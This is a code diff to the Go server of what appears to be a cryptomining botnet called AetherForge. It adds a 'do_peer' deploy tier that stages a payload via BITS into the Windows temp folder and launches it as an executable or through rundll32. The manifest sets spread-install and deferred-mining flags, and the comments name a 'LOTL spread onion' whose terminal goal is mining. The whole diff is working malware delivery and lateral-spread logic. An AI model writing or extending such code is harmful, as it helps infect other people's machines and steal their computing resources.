Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

server/internal/api/deploy_plan.go

@@ -27,6 +27,7 @@ type StagingManifest struct {
 	Encoded       bool           `json:"encoded"`
 	DeferMining   bool           `json:"defer_mining,omitempty"`
 	SpreadInstall bool           `json:"spread_install,omitempty"`
+	PeerGroup     string         `json:"peer_group,omitempty"`
 }
 
 type StagingChunk struct {
@@ -40,6 +41,7 @@ type DeployPlanBody struct {
 	MatchedService string          `json:"matched_service,omitempty"`
 	Action        string           `json:"action"`
 	Manifest      *StagingManifest `json:"manifest,omitempty"`
+	PeerGroup     string           `json:"peer_group,omitempty"`
 	Script        string           `json:"script,omitempty"`
 	UNCPath       string           `json:"unc_path,omitempty"`
 	MaxHosts      int              `json:"max_hosts,omitempty"`
@@ -145,6 +147,13 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
 	}
 
 	switch lane.Lane {
+	case "do_peer":
+		manifest, err := h.buildDOPeerManifest(req, serverURL)
+		if err != nil {
+			return DeployPlanBody{}, err
+		}
+		body.Manifest = manifest
+		body.PeerGroup = manifest.PeerGroup
 	case "bits_curl":
 		manifest, err := h.buildStagingManifest(req, serverURL)
 		if err != nil {
@@ -182,6 +191,69 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
 	return body, nil
 }
 
+// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
+// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
+// then startMiningWhenReady() completes the mining onion (terminal goal).
+func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
+	platform := strings.TrimSpace(req.Platform)
+	if platform == "" {
+		platform = "windows"
+	}
+	buildID := strings.TrimSpace(req.BuildID)
+	build, err := h.resolveBuild(buildID, platform)
+	if err != nil {
+		return nil, err
+	}
+	hash, err := fileSHA256(build.FilePath)
+	if err != nil {
+		return nil, fmt.Errorf("build hash: %w", err)
+	}
+
+	_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
+	downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
+	peerGroup := "af-peer-" + hash[:8]
+	if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
+		peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
+	}
+
+	dest := `%TEMP%\AetherForge\do-peer-worker.exe`
+	launch := "exe"
+	if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
+		dest = `%TEMP%\AetherForge\do-peer-worker.dll`
+		launch = "rundll32"
+	}
+
+	return &StagingManifest{
+		Method:        "bits",
+		Chunks:        []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
+		SHA256:        hash,
+		Dest:          dest,
+		Launch:        launch,
+		DLLExport:     "DllRegisterServer",
+		DeferMining:   true,
+		SpreadInstall: true,
+		PeerGroup:     peerGroup,
+	}, nil
+}
+
+func sanitizeDeployToken(s string) string {
+	s = strings.ToLower(strings.TrimSpace(s))
+	var b strings.Builder
+	for _, r := range s {
+		if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
+			b.WriteRune(r)
+		}
+	}
+	out := b.String()
+	if out == "" {
+		return "local"
+	}
+	if len(out) > 24 {
+		return out[:24]
+	}
+	return out
+}
+
 func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
 	platform := strings.TrimSpace(req.Platform)
 	if platform == "" {